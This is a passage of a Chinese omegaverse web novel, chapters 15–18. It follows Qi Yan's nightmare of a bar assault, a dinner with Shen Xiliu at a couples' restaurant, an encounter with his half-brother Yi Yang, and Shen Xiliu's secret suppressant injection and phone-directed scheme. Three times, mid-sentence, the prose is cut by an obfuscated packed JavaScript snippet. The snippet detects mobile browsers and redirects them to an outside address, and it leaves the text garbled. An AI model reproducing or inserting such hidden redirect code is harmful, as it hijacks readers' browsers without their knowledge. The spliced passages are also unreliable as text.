沈溪流垂着眼帘,说:“也是,毕竟您是Alpha,不理解我们的想法也正常。” “……” 沈云殊:“说实话,我现在真想回到你出生的那天,把你的脑袋放进水里洗洗,又怕把你脑子洗进水了。” 他深呼吸,手里不断咔哒咔哒地开合金属打火机,很想抽烟放松心情。 最讨厌Omega这种生物了! 沈溪流什么时候变成这幅鬼样子了? 明明过去很冷静清醒,莫不是名字里的水太多?导致他进化成沈游弋2号了? 或许这病还带降智,他得记下来。 沈云殊冷脸将一份资料丢到沈溪流的腿上:“不和你说这些废话,这样下去不行。我查过了,这个人的信息素匹配度和你达到90%以上,正巧,你们也认识不是吗?” “真是个不错的人。七天内,好好吃药,好好打针,把信息素控制妥当,再不行,我会找对方帮忙,给你提纯Alpha信息素注射。这一次再控制不好,我就直接把你和他押到民政局,强迫你们结婚上床,彻底标记成结,我就不信你还能继续气我!” 沈溪流:“……” 15. 第 15 章 还没安稳几天,噩梦又来了。 是至今为止,非常非常糟糕的一个梦境。 闪烁的霓虹灯光杂乱地晃动着,让视线变得混乱,耳边发出撕心裂肺的尖锐惨叫声,桌椅被掀翻,玻璃酒瓶摔到地上,迸裂飞溅,满地都是稀碎的玻璃渣。 惊慌的客人要么离开要么逃出这里,酒水到处倾洒一地,原本用来放松欢呼的酒吧此刻变得混乱无序,彻底陷入失控中。 “砰!” 祁厌猝不及防被人从背后突袭,双手猛然被擒住,强行反剪在背,后腿被用力一踹,他被对方狠狠摁在地上,膝盖发出沉重声音,额头流下的血模糊了视线。 “祁哥!!!” 一声惊惶的叫声响起,祁厌被人拽住头发强行抬头,心底充满了愤怒与耻辱。晃眼的霓虹灯光依然在旋转,酒吧乱得一塌糊涂,满地狼藉,他所熟悉的人被压在地上,无法反抗,身上还带着狼狈的打斗痕迹。 ——不过也不是所有熟悉的人都如此,还有一个人毫发无伤。 “……先生,对不起,明明是我们兄弟俩的事情,居然又惊扰你了……”和祁厌有那么几分相似的青年捂着自己流血的头,正站在一名身着黑色西装的男子身边,神色苍白地朝他道歉。 真想吐,祁厌被扯着头发强迫抬头,头部被酒瓶子砸了一下,搞得头晕目眩,酒液混杂血液蜿蜒流下,浑身上下都疼得要死,看着眼前的场景,满腔的愤怒夹杂着错误的情绪,令他感到无比的——恶心。 恶心到他特别想笑。 “……哈哈。” 反正也挣脱不开,他索性顺其心意地大笑了起来,漂亮缱绻的桃花眼直勾勾地看着站在黑暗里的人,猩红的血液不断顺着冷白的俊美面容往下流淌,狼狈不堪,那一抹红却显得晃眼而诡异绮丽。 “就是说啊,明明是我们‘兄弟’的事情,某些人是不是太多事了?” 祁厌歪着头,脸上带着讽刺的笑容,视线却是冷冰冰地注视着多事的人,眼底流露出一抹厌恶。 “狗拿耗子,多管闲事。”于是他淡淡地讽刺了一句。 易扬猛地扭头看过去,怒斥道:“祁厌,把你的嘴放干净!” “傻逼。”祁厌回笑道,旋转的灯光不断从他身上流转,有点狼狈却让人难以移开视线。 那人漠然地望着祁厌,酒吧太黑暗了,根本看不清楚神情,好半晌,他才侧头问了一句易扬。 “……你打算怎么处理?” 易扬盯着被保镖强迫跪在地上的祁厌,一步步走了过去,眼神闪烁着怨毒的恶意,压抑着怒火:“毕竟是兄弟,所以就公平一点吧,该怎么算怎么算。” 他捡起来一个酒瓶子。 “啪嚓!” 玻璃瓶迸裂的声响震耳欲聋,浓稠黏腻的鲜血将视线彻底覆盖住,灯光猛然变得猩红,耳边凄厉的哭喊声响起,一切都变得扭曲虚幻,乱七八糟的味道混合在一起,Omega同事的哭声不断响起,哭得祁厌好像马上就去世了。 ——他不至于去世,但该辞职了。 给大家招来太多麻烦,这是不应该的事情。 他本就不该出现在他们身边。 “哈啊,哈啊!” 祁厌呼吸急促地从梦里醒来,浓稠压抑的情绪让他无精打采,即使发现自己并未睡在床上,而是靠着门板睡觉的事情,也没能激起一点情绪。 “真是一个糟糕的梦境!” 外面的天蒙蒙亮,屋内的摆设依稀可见,床上乱得一塌糊涂,枕头被子床单都掉在地面,祁厌靠着门板仰头不断地深呼吸,调节压抑的情绪,好似一个溺水的人,在拼命将头伸出水面,汲取着救命的氧气。 许久许久,他才从梦魇中挣扎出来,伸手打开房间里的灯,一瞬间刺眼的光芒逼得祁厌闭上眼睛。 等再睁开眼睛,他的情绪终于稳定下来,平静地收拾好被自己弄乱的房间,走到洗手间洗漱,目光却总是落在自己的头和脸上,没有伤口、血液,除了黑眼圈比昨天重一些,并无其他变化。 “祁厌,这都是噩梦,不要放在心上。” 他与镜子中的自己对视,扯了扯嘴角,用低哑的嗓音如此说道。 他像是在看自己,又好像借着镜子在与满身鲜血、眼神淡漠空洞的另一个自己对视,头破血流的伤口不断蜿蜒红色痕迹,浑身伤痕,诡异而阴冷,和鬼没什么两样。 “今天还有很多事情要忙,不可以浪费时间。” 祁厌自言自语地低头洗脸,泛起一波波涟漪的水面将映射的面容变得扭曲,他不再看镜子,好似没发现镜子中的自己眼神充满冷漠和戾气。 几乎与梦中的自己如出一辙。 …… 托覃宜民的福,祁厌现在也算是PHY科学研究所的员工。 虽然只是参与双方合作项目进行协助科研,但不仅祁厌高兴,就连其他参与的同门弟子对此都感到相当高兴,毕竟这也算是很好的工作经历,对他们的未来将有不小的帮助。 祁厌也顺理成章地在覃宜民的介绍下结识了沈云殊,的确是位相当厉害的科研大佬,交流起来相当令人佩服,尤其是对方给予的一些建议让祁厌获益匪浅。 不过初次见面时,沈云殊打量他的目光有些奇怪,这让祁厌有些在意,但并未放在心上。 “你的研究在毕业之前,应该可以进行临床试验吧?”沈云殊对信息素紊乱症的关注,确实就如当初沈溪流在餐厅所说,并不是虚假的。 正要离开研究所的祁厌和他见了个正着,便顺路一起走。 听到问话,他笑吟吟地回道:“如果不出意外,按照目前计划的话,今年年末就可以进行临床试验申请。” 正好可以赶在研究生答辩之前,有了临床试验的数据支持,想必明年的答辩会更加顺利。想着接下来的安排,估计会很忙,祁厌已经无心去想那些影响自己的噩梦。 “嗯,挺好,临床研究的资金充足吗?” 沈云殊随口问道,如果不够的话,他不介意给出支持,毕竟他很欣赏能力杰出的人,就目前来看,祁厌很符合条件。 沈云殊刚回国不久,除了忙活沈溪流的事情,还有一大堆工作需要处理,几乎没有时间关注别的,知道沈溪流和祁厌认识,却没注意到这方面的事情。 至于二人的信息素匹配度,这是沈云殊一直吩咐下去的事情,医院方面自动进行匹配检测,当发现祁厌和沈溪流的信息素匹配度达到90%以上时,就立即发送给沈云殊。 但这也就是一个可参考的信息素匹配度,更详细的匹配度需要二人前去检测才行。 祁厌并不知道这些事,说道:“充足,不久前,沈溪流先生已经对项目进行支持,现在进展顺利,也多亏了沈溪流先生。” 他的语气相当礼貌,带着一丝对沈溪流的感激。 沈云殊步伐微顿,瞥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318637|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼同行的祁厌,微笑道:“做我们这一行的,最怕就是资金不足,你能顺利就好,我出国有一段时间,溪流能找到你这么优秀的人才,看来他的眼光没有下降。” “沈所长太客气了,能得到沈溪流先生的帮助,才是我的荣幸。” “是吗?”沈云殊意味深长地笑了起来,他好像发现了什么,“那还真是不错,听起来你们关系挺好,如此一来的话,估计到时候就算我想要……” “沈所长。”没等沈云殊将话说完,一道熟悉的声音忽然响起,打断他的话。 迎面走来的沈溪流双手还插在风衣兜里,戴着黑框眼镜,苍白漂亮的脸上没有任何表情,紧盯沈云殊:“二舅舅,东西已经送来了,需要我叫人帮你送到你的实验室吗?” “……不用了,我自己去拿。”沈云殊打量了他几眼,对祁厌笑道,“不好意思,我先过去拿东西了。” “沈所长,需要我帮忙吗?” “不用,不用,现在下班时间,不劳烦了。” 沈云殊背对着他挥了挥手,实验服的白色衣角翩飞,走到沈溪流身边,侧头和他说了句什么,导致沈溪流表情一变,便继续往前走。 “沈先生,好久不见。”沈云殊来得巧,走得快,祁厌走到沈溪流面前,和他打一声招呼。 从上次酒吧之后,他就只和沈溪流远远见过一次,不再出门就相遇,也没有继续在酒吧遇到。 不知为何,现在再次看到他,祁厌总觉得浑身都不太舒服。 “好久不见。”沈溪流抬眼看他,露出一个浅浅的笑容,“祁厌,你这是打算回家吗?” 回家的话,是不是就两人顺路了? 祁厌想了想:“我打算先去吃个晚饭再散步回家吧,沈先生呢?” “一样,我只是过来给沈所长送东西。”才几天不见,感觉变得更加生疏了,沈溪流镜片下的眸光有些晦涩,他轻声笑道,“说起来,先前在酒吧受到你的帮助,还没来得及感谢你,如果不介意的话,我可以请你吃个晚餐吗?” 祁厌拒绝道:“只是一件小事而已,沈先生不用这么放在心上。” “怎么会是小事呢?你已经帮过我很多次忙,如果不报答回去,我心里有些过意不去。”沈溪流说道。 他细数着祁厌一直以来的帮助,每一件事情都记得相当清楚详细,甚至连一些细节都没放过。 “那就麻烦沈先生了。”眼见着其他人下班了,不方便继续站在实验楼大厅,祁厌不好意思地说道。 沈溪流眼眸一弯,面上的笑容相当好看:“能够有机会感谢你的帮助,这是我的荣幸。” “倒也不用这么客气,我先去把实验服换掉。”祁厌无奈地笑了笑,他身上还穿着白色实验服,和沈云殊一样,下班了就穿得没这么正经,敞开起来,多了些别样的味道,清俊又斯文,而那双漂亮的桃花眼更是蛊惑迷人。 沈溪流借着推眼镜的姿势,多瞥两眼,总觉得有些制服诱惑的味道,比舅舅穿起来好看多了:“那我出去等你。” “行,我马上就来。” 祁厌走得很快,迈着大长腿很快就走得不见人影,他身姿挺拔,即使穿着白色实验服也无法掩饰优越的身材。 看不见他人,沈溪流才离开这里,回到车上,他放下车窗靠着边缘,眼眸幽沉地打了个电话:“都安排好了吗?” “沈先生,一切都安排好了,就等您过来。” 16. 第 16 章 “……” 沈先生怎么选了这家餐厅? 盯着餐厅熟悉的外表装潢,祁厌有些意外,只因这家中式餐厅是S市里著名的情侣约会圣地,他经常听身边的朋友提起这家店。不过就算是情侣餐厅,也不代表其他人不能来用餐。 “游弋先前一直给我介绍这家餐厅,说是味道不错,要是想请人吃晚餐的话,可以来这家,这下子倒是有机会试试了。”沈溪流下了车,用闲聊的方式和祁厌说。 祁厌笑:“原来是游弋给你介绍的,他确实挺会推荐,我经常听我朋友说起这家餐厅,听说味道不错,就是有点难预约。” “是吗?那想来游弋这次的推荐不是在故意整我,而是真的好好推荐了一家不错的餐厅。” 沈溪流已经提前预约好位置,服务员带着他们入座。靠窗的位置,扭头可以看见远处波光粼粼的河面倒映着闪烁的霓虹灯光,风吹起一层层涟漪,泛起细细碎碎的金色耀眼光点。 景色的确不错,无论店内店外都有种浪漫的氛围感。 服务员拿着菜单让他们点菜,祁厌让沈溪流先点,反正他不挑食,只要是好吃的都行。 沈溪流点了几道菜,又将菜单递给祁厌,笑道:“一起点吧,什么都能吃不代表没有偏好。明明是我请你出来用餐,结果菜都是我点的,这才不对劲吧?” 他说得合情合理,祁厌无法拒绝,但还记得他刚才点的几道菜,于是接过菜单说道:“其实沈先生点的菜都很对我的口味。上次我们在尚味斋的时候,我就发现了,我们的口味挺相似的。” 祁厌口味偏辣,而沈溪流上次和这次点的都是有名的川菜,尚味斋厨师手艺不错,更是把每一个菜的味道发挥到极致,上次祁厌就吃得相当愉快。 反之沈溪流和覃宜民因为要谈话,加上一个受伤,一个年长,不能吃太多偏辣的菜,所以都不如他吃得享受。 “那确实很巧,我其实不是很能吃辣,不过即使如此也没能挡住我对它的喜爱,味道很不错。”沈溪流眼眸微亮,很含蓄地说。 “少放点辣椒,微辣就行了,谢谢。”祁厌点好菜,把菜单递给服务员,又对沈溪流笑说,“再喜欢也得克制一下,否则估计又和上次一样,一筷子配一杯水,一桌两个人,结果只有我一个人埋头吃了。” 沈溪流:“……” 他手指微微收紧,没想到祁厌居然注意到了这个细节,嘴角微微上扬。沈溪流好似不好意思一样,抿唇轻笑:“毕竟很喜欢,所以有点难以克制,没想到祁厌你居然发现了。” “大概是因为我小时候也是这样吧。”祁厌说,“父母离婚之前,家里的饭菜都很清淡,离婚以后,搬到舅舅家才发现他们炒菜必放辣椒。” 祁厌的舅母是川渝人,而且是一名专业的厨师,厨艺相当不错,直接把原本不怎么能吃辣的一家人都给带歪了。现在全家都是无辣不欢,除了祁厌的母亲由于身体原因,不能吃以外。 “一开始其实有点不习惯,总是就着水吃饭。虽然舅舅和舅母特意做了适合我的口味的菜,但我其实很喜欢吃他们炒的所有菜,吃着吃着就习惯了,口味也自然而然地发生了改变。” “你的亲人都很温柔呢。”沈溪流弯着眼眸看他,神色柔和。他能够想象得到那时候的小祁厌,不擅长吃辣,每吃一口都要喝水,脸颊被辣到泛红,扇着风继续吃,一定很可爱。 祁厌笑着点头,表情流露出一丝想念:“嗯,他们都很好,很善良,今年暑假没有回去见他们,还怪想念的。” 这家店生意好,客人也多,上菜的速度很快。他们聊了没多久,没多久服务员就把菜端了上来,菜的份量不大,摆盘很精致,祁厌浅尝了一下,味道的确相当不错。 “好吃吗?”沈溪流盯着祁厌吃的尖椒牛肉,看起来相当可口,但上面的辣椒让他敬而畏之。 不是说了微辣吗?为什么还有这么多辣椒? 祁厌点头:“非常好吃,如果你想吃的话,先准备一下水。这家的微辣比尚味斋吃的那道水煮鱼更辣一些。” 他非常委婉地提醒,上次沈溪流就是试了一口水煮鱼,然后喝了一杯水。 沈溪流:“……” “你这样一说,我更想试试了。”虽然已经打了补丁,但有点摇摇欲坠。沈溪流垂着眼眸,伸出筷子,浅浅地试了一口。 结果刚一入口,辛辣的味道猛然在口腔中爆发,好似往嘴里丢了一颗炮仗,轰的一声在舌尖爆发,刹那间,所有味蕾都被热辣侵蚀穿透,连喉咙都被灼伤了一样。 “咳咳!”沈溪流呆了一下,然后猛然咳嗽,苍白的脸颊瞬间染上红晕,手背抵着殷红的嘴唇,连眼尾都变红了。 没料想到他的反应居然这么大,祁厌赶紧将提前准备好的冰水递给他:“喝水。” 沈溪流狂喝两杯冰水,才压制住那股又辣又呛的味道,喉咙隐隐传来不适,对上祁厌的眼眸,他有些不敢看。 但祁厌好像并不在意,见他平静后,就笑吟吟地说着:“根据我的经验判断,这家店的微辣已经能赶上川渝地区,看来沈先生也被‘微辣’成功欺诈了。” 被他这么一打趣,心中的羞耻消失,沈溪流无奈道:“味道的确不错,虽然很辣,但还是能尝出那股鲜香柔嫩的口感,确实美味……” “可惜你有福不能享受,沈先生吃这些吧。”祁厌将自己点的菜和沈溪流前的换了个位置,遗憾地说着,“好吃,但为了你的身体着想,只能由我勉为其难地吃了。” “那还真是感谢你呢。”沈溪流看着他一脸愉快地开吃,没忍住笑出声。 祁厌拿着筷子的手指轻点了两下,瞧着坐在对面的沈溪流笑道:“这是我应该做的哦,毕竟这次可是沈先生请客,总不能让你把自己吃伤了。” 的确是很愉快的用餐,环境和氛围都不错,菜品也不错,可惜露台处的小情侣突然求婚,把安安静静的餐厅变得热闹起来,浪漫的音乐响起,周围一大堆人喊着答应他的话。 当求婚成功时,在场的人瞬间欢呼,有的情侣甚至黏糊糊地凑到一起接吻,一对又一对小情侣眉来眼去,粉色的氛围感十足。 风将花瓣和气球给吹了进来,场景逐渐变得浪漫暧昧,本就很靠近露台,坐在窗边的祁厌抓住差点掉进碗里的花瓣。 他们面面相觑,仿佛都才意识到这家店是情侣餐厅一样。 “沈先生… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318638|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “吃饱了吗?”沈溪流镇定地问。 “嗯。” “那我们走吧。” “没问题。” 沈溪流叫来服务员结账,服务员亲切地提醒:“今天是九月十四相片情人节哦,如果两位愿意在我们店里合照留影的话,能够打五折哟~” “确实是让人心动的折扣,不过不用了,谢谢。”沈溪流浅浅一笑,看了一眼不自在地摸着鼻子的祁厌。 “好哒,这是送给客人的礼物,祝您用餐愉快~” 服务员结完帐,祁厌想去一趟洗手间,沈溪流准备去大门等他,还没离开,服务员叫住他,给沈溪流送了一枝蓝色玫瑰花。 “愿客人能和自己的恋人相守哦。”服务员笑意盈盈地祝福道。 沈溪流一愣,目光落在服务员身侧那一大簇的蓝色玫瑰花,旁边放着说明牌,说明着不同数量的蓝色玫瑰花象征着什么。 他直勾勾地看了一会儿,心情有些动荡不平,于是对服务员道:“能劳烦给我三枝吗?” “可以哟~” “谢谢。”沈溪流接过三枝蓝色玫瑰花,服务员拒绝了他再次付钱的举止,“不用付钱,这都是我们店免费赠送的,客人喜欢的话,欢迎再次光临~” “会的,下次有机会会再来的。”沈溪流莞尔一笑。 蓝色玫瑰清冷而优雅,花瓣柔软细腻,还带着露珠,沈溪流轻轻碰了一下,没舍得弄坏,外面天色渐渐转暗,衬得眼神变深沉。 沈溪流静静地站在门口等待祁厌出来,想着待会儿将花送给祁厌,突然有人叫住了他。 “二哥,你怎么也在这里?” 听到这道充满惊讶的声音,沈溪流一眼瞥了过去,一位漂亮女性Omega也正好从店里面走出来,她挽着一个男性Alpha的手臂。 “沈先生,没想到能在这里遇见你!”男性Alpha有些惊喜过望地瞧着沈溪流,激动地打着招呼。 目光在那张有三分熟悉的脸上滑过,没有丝毫停顿,沈溪流的目光就落在沈湘婷身上,表情冷淡,完全无视了男的:“怎么,难道还要我告诉你,来餐厅是做什么的吗?” 嘶,真是熟悉的嘲讽反问。 沈湘婷吐了吐舌,抱紧身旁人的手臂:“二哥,你知道我想说的不是这个。这里是情侣餐厅吧,难道你也是陪恋人过来的吗?” “你不说的话,我就当你是来陪恋人。”沈溪流没回答她的问题,沈湘婷有些不满地小声道,“还有,二哥,我男朋友都和你打招呼了,你怎么可以不搭理人呢?” 真是没礼貌。 沈溪流的目光在她的腹部停了一瞬,眼神闪过一抹阴冷。 等再落到她男朋友身上时,沈溪流慢条斯理地碰触着手中妖艳的蓝色玫瑰花,神色淡然而漫不经心:“我已经给足你面子了。” 虽是这样说,但他傲慢的眼神充满了轻蔑的审视,落在易扬身上时,那目光是犹如毒蛇一般的冰冷打量,不像是在看人,更像是在看死物。 沈溪流光是眼神就能给人带来一股无法忽视的压迫感与威慑力,让一旁的沈湘婷都情不自禁打了个冷颤,更遑论她的男朋友。 17. 第 17 章 从洗手间出来,因为打电话浪费了点时间,祁厌一眼看到站在门口处的沈溪流。 因为视角问题,没注意到被挡住的另外两个人,他大步走过去,不好意思地说道:“沈先生,让你久等……了。” 看到站在沈溪流身侧的人时,祁厌微妙地停顿住。 “刚接到一个电话,不小心耽搁了时间,抱歉。”祁厌带着歉意地说。 “没事,我也没等多久。” 沈溪流抱着蓝色玫瑰花向他走了两步,语气是前所未见的缓和,甚至带着一丝亲昵,与刚才的冷漠截然不同。 这让了解他的沈湘婷一呆,有些不可思议地看向祁厌。 这人是谁?怎么让沈溪流对他语气这么缓和? “那就好。”祁厌松口气地笑了一下,恰好对上沈湘婷充满好奇与打量的目光,顿了顿,“这两位……是沈先生的朋友吗?我是不是打扰……” “没有,不用在意,只是恰好遇见。”沈溪流截住他的话,看向沈湘婷,平静地道,“就不打扰你约会了,慢慢玩吧。” 他完全无视了沈湘婷身旁的易扬,祁厌客随主便,向他们点了点头算是友好地打招呼,跟着沈溪流离开。 看着他们离开的背影,沈湘婷没敢拦他,扭头对男朋友易扬道:“阿扬,刚才那个帅哥长得好英俊啊,而且和你也有点像哎。” 听到她说的话,易扬的表情好像有点难看,脑海里不断浮现着那人的脸:“……我们真的很像吗?” “确实很像,不过你的表情怎么这么难看?是被我二哥吓到,还是担心我见异思迁?” 沈湘婷注意到易扬的表情难看,对他甜甜笑道:“不用担心啦,虽然你们很像。不过在我眼里,你才是最帅的哦,他远远不如你呢。” 比起易扬,那人长得更为高挑,身材修长比例完美,就连那张脸都毫无缺点,尤其是那双温柔缱绻的桃花眼,非常具有蛊惑魅力。 与之对比,易扬比那人矮了半个头,风格也截然不同,非常酷帅,霸道强势起来也相当迷人,是沈湘婷喜欢的类型,所以她还是觉得自己男朋友更帅。 而且说实话,祁厌太高了,亲嘴都不好亲。 沈湘婷暗戳戳地想着。 真的很像吗?易扬依然有些心不在焉,盯着外面并肩走的两人。 注意到沈溪流将手里的花送给了那人,对方笑着接了过来,又把两枝蓝色玫瑰花送了回去,这样的画面让易扬眉头紧皱,心头一慌。 不可能吧……这人不可能是他,可是他们长得太像了…… 尤其是那双眼睛,和那个贱人长得简直一模一样! 他必须得尽快调查,如果这人真是他那个失踪多年的哥哥,现在又和沈家的沈溪流看起来关系不错,怕是不太好处理…… 易扬咬紧牙关,眼底闪过一抹阴霾。 “阿扬,你也别在意二哥刚才说的话,他这人就是这样,对谁都如此,不是特意针对你,所以你不用放在心上的。” 沈湘婷没察觉到易扬的走神,搂着他的手臂往外走,嘟囔着说:“之前你还想让我给你介绍二哥,看吧,他的性格可冷了,要不是为了你,我刚才可不会主动上前和他打招呼,想着给你创造机会,结果这家伙果然一点面子都不给我!真是过分,虽然我不是他亲妹妹,但族妹也是妹呀……” …… “沈湘婷是我的族妹,不过关系比较疏远,沈家分支比较多,我们并不是很熟,也不好继续打扰她和男朋友约会了。” 接过他递回来的两枝蓝色玫瑰花,沈溪流给祁厌解释了一句,手指无意识地抚摸着包花纸,蓝色玫瑰花在夜色下显得神秘而美丽,想到它的花语,心情产生微妙的愉快。 但这份愉快在注意到祁厌有些走神地伸手摸着额头的时候,就瞬间消失了。 “啊……抱歉,有点走神了。”祁厌收回手,对他礼貌地笑说,“打扰人家小情侣约会,确实不太好,容易变成电灯泡,被暗暗嫌弃呢,这种状况下,还是能走多远走多远比较好。” 沈溪流抿着唇,目光滑过祁厌的额头,夜风吹得额前碎发有些凌乱,白皙平滑,没有任何一道伤口,黑色碎发散乱而慵懒,衬托眉眼温柔又清俊。 “……确实,好不容易与喜欢的人约会,每一时一刻都是非常值得珍惜的时间。在这种时候,要是被人打扰的话,性格再好的人都会感到不悦吧。” 祁厌顺手将蓝色玫瑰花插入兜里,衣服兜很深,也不怕掉下来,浅浅笑道:“这个我就不好发言了,毕竟还没有谈过恋爱,也没有和喜欢的人约会过。只有理论没有实践的人,每次参与讨论都会第一个出局。” “这倒是看不出来,祁厌你应该很受欢迎吧?好像没看到你和谁在一起。”路灯的光落在沈溪流的脸上,唇角还带着一丝笑意,好似聊天过程随便这么一问,“难道这么多年就没有喜欢过的人吗?” “有哦。”祁厌也随意地回答了这个问题。 空气有一瞬间的停滞,好像就连风都停止不动了,适宜的温度在骤然下降。 身旁的人没有说话,祁厌看着远处的河面,波光粼粼,倒映着城市的影子。 “有一个暗恋的对象。” 身旁的人依然没有说话,祁厌慢慢收回目光,落到沈溪流身上。他正低头看着手机,点了几下,才缓缓抬头和祁厌对视,镜片反射出白光,淡色的嘴唇微微扬起,脸上的笑容几乎完美无缺,眼眸映着浓稠漆黑的夜色。 “那还真是让人意外,祁厌看起来不像暗恋别人的人,更像被人暗恋的人,既然有喜欢的人,怎么没有告白呢?你很优秀,在我看来,应该没有人能够拒绝得了你的告白。” 祁厌伸手轻轻挠了一下脸,好像有些尴尬:“哈哈,沈先生太过奖了。告白成功的基础是对方对自己也有意,但很遗憾,我没敢试探对方是否喜欢我,太喜欢一个人,只会变得胆小。” 他把这番不好意思的话说完以后,眼神有些飘移,路灯照亮祁厌的脸上,脸颊处微微泛红:“不过,等下次再见面的话,我会尽量鼓足勇气告白……” 祁厌平时的形象都相当温和可靠,但此时在浪漫的夜色衬托下,好像多了几分少年般的稚气,眉眼惑人,他的背后城市灯光灿若星辰,河面倒影波光粼粼,好似一幅画。 河边道路人烟稀少,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318639|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有少量路人走过,风吹起细碎的声音,沈溪流回过神来,镜片下的眼眸幽深。 他唇角笑意不变,依然挂着完美的笑容,淡化掉他清冷孤高的气质:“那还真是……挺不错的。” “突然和沈先生聊起这些事情,还挺尴尬。”祁厌不好意思道。 沈溪流微笑说:“你这么说,倒是显得没有把我当朋友看,所以才不方便提,有点让人伤心呢。” 祁厌一怔,看着他脸上温和的笑容,心里的怪异感更强,目光不自在地移开:“抱歉,我不是这个意思,只是突然提起这种不敢告白的事情,感觉自己很……幼稚。” 明明是成年人,却连暗恋一个人都不敢说出来,听起来很像一个胆怯的小孩,一点都不成熟,甚至很丢人。 “不用道歉哦,我很理解,人在感情上会感到胆怯,本就是理所当然的事情。”沈溪流推了推眼镜,慢悠悠地往前走,仿佛并未把一切放在心上。 没有在这种无聊的话题多说,沈溪流又问祁厌他最近的研究进展,这种话题总是更加轻松。他们只在河边的道路散了一会儿步,就原路返回坐车回公寓。 “沈先生,不一起回去吗?”祁厌解开安全带,侧头询问沈溪流。 他微笑道:“嗯,刚才收到一条信息,长辈找我有事,暂时可能回不去了。” “那麻烦你今晚请我吃饭,又送我回来了。” 祁厌朝他道谢后,才往公寓走去。在他下车之后,车窗升起,缓缓开走,停在公寓看不到的地方。 没有熄火,外面夜色昏暗,车内的灯光打开,沈溪流面无表情地扯掉脖子上的信息素抑制项圈,从暗格里取出一个盒子,是提前准备好的omega专用信息素抑制剂。 拆开包装,修长苍白的手指微微颤抖,却依然熟练地用针筒吸取液体,朝刺痛不已的后颈一针扎了进去。 疼痛在不断往四肢百骸蔓延,躯体几乎出现一丝麻木感,对于早就习惯的沈溪流来说算不上什么,更疼的事情又不是没有经历过。 “叮咚!” 搁在一边的手机突然亮了起来,沈溪流垂眸看了一眼,拔出针,丢进盒子里。捡起手机解锁,最先跳入眼帘的不是信息,而是不断闪烁的红色警报灯。 ——【警告!警告!警告!】 ——【请患者注意,您的信息素已超过安全期!】 ——【请患者注意,如您的信息素在十分钟内无法稳定下来,系统将自动为您拨打急救电话!】 胡乱弹出的警告一大堆,全部被沈溪流强制关闭,甚至无视沈云殊催命般的鬼来电,另外拨打一个电话:“怎么样了?” 他往后倾斜靠着身体,声音冷漠没有一点情绪,听着对面的汇报,良久才道:“那就按照我先前的吩咐,好好配合,争取在十月之前,让他发现‘真相’,别的就不用多管。” 将事情有条不紊地吩咐下去,等挂掉电话之时,手机再次响起沈云殊的鬼来电。 沈溪流没有看一眼,将手机丢在副驾驶,无意识地啃着拇指。 上半张脸被阴影覆盖,但他一动不动,连呼吸都几乎没有,好似一个安静的死人。 18. 第 18 章 祁厌找了个不用的矿泉水瓶,将蓝色玫瑰花插进去,放在桌面上。原本是不想要这花的,但还是碍于某些不为人知的想法,伸手接了过来。 想着在餐厅前遇到的人,祁厌翻出自己放在柜子里的文件资料:“还真没想到会在这种场合下见到他。” 看易扬的表情,估计已经开始怀疑他的身份了。 指尖碰触着自己的脸,祁厌微微皱眉,眉眼间流露出一丝厌恶。 他和那个人长得终究是太相似了,有时候乍一看镜子,祁厌都会怀疑自己是不是看到那个人了。 这也难怪在小时候,母亲会不想看到他。 虽然清醒过来以后,会后悔地流着泪向他道歉,说他们一点都不像,他只是她一个人的孩子,和那个畜生没有任何关系。 但其实祁厌内心很认同母亲说的话,他和那个人还是挺相似。尤其是小时候的五官没有长开时,简直一眼就能看出是他的孩子,好在随着年龄长大,倒也没那么相似了,只可惜轮廓依然残留着他的影子。 “真可惜,当年那一刀要是冲动砍下去就好了。”祁厌有些遗憾地想着,未成年做什么都不犯法,尤其是一个才七岁的小孩。 可惜年幼的自己下不去手。 …… 一份份资料被送到面前,易扬的表情变得越来越难看,几乎连呼吸都是压抑的。 他知道的,爸爸这么多年一直在找他们母子,想尽各种办法,连全国各地都找了一遍,但始终没有找到任何踪迹。 多年来,一直未曾放弃,仿佛留有余情一样。 易扬曾经问过他妈是什么想法,她说真相和他想象的并不一致,他父亲对那对母子并没有感情,找他们是另外有原因。 所以易扬根本不用担心,那两个丧家之犬无法抢走属于他的一切。 是什么原因?宋意礼没有告诉他,易扬被安抚之后,早就把事情抛之脑后。 直到现在,祁厌又出现在他的面前,而且活得并不像丧家之犬,甚至过得风生水起,一路顺风顺水。 而且甚至认识沈溪流,虽然资料上说他们才认识不久,但根据沈溪流在外的表现来看,如果真的不熟,他就不该给予祁厌这么多帮助,不仅给予他项目支持,还与他的导师建立合作关系…… 明明沈家根本不缺这些,可作为沈氏集团的代表人之一,一向被外界认为冷酷严谨的沈溪流,什么时候变得这么好说话了? 